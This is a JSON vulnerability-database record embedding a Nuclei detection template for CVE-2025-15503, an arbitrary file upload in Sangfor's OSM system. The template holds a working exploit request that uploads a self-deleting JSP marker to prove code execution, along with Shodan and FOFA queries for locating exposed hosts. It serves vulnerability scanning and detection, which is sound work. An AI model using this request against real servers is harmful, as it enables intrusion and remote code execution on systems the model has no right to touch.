{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-15503/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-15503/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-15503/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-15503/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-15503/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-15503"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-15503"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-15503.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-15503\n\ninfo:\n  name: Sangfor OSM - Arbitrary File Upload\n  author: Ark\n  severity: critical\n  description: |\n    Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \\\"File\\\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.\n  impact: |\n    Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-15503\n    - https://github.com/advisories/GHSA-h49h-jpp7-xv85\n  classification:\n    cve-id: CVE-2025-15503\n    epss-score: 0.02066\n    epss-percentile: 0.80573\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: html:\"/fort/login\"\n    fofa-query: body=\"/fort/login\" && product=\"SANGFOR-运维安全管理系统\"\n  tags: cve,cve2025,sangfor,osm,rce,fileupload,intrusive,vkev\n\nvariables:\n  randnum: \"{{rand_int(100000000, 999999999)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /fort/trust/version/common/common.jsp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\n\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\n        Content-Type: image/png\n\n        <%@page import=\"java.security.MessageDigest,java.math.BigInteger\"%><%MessageDigest md=MessageDigest.getInstance(\"MD5\");md.update(\"{{randnum}}\".getBytes());out.print(new BigInteger(1,md.digest()).toString(16));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\n        ------WebKitFormBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Upload success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /fort/trust/version/common/{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, md5(to_string(randnum)))'\n        condition: and\n# digest: 490a0046304402207b79abdd0e325ee917e33182416900ec99cac88387c47f2ee1754eb04ba31c3702201fda7c86faa1ca4afb5fbc0d71473f4088aaf7210d53e7fcf23d31785de069bc:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-15503"
}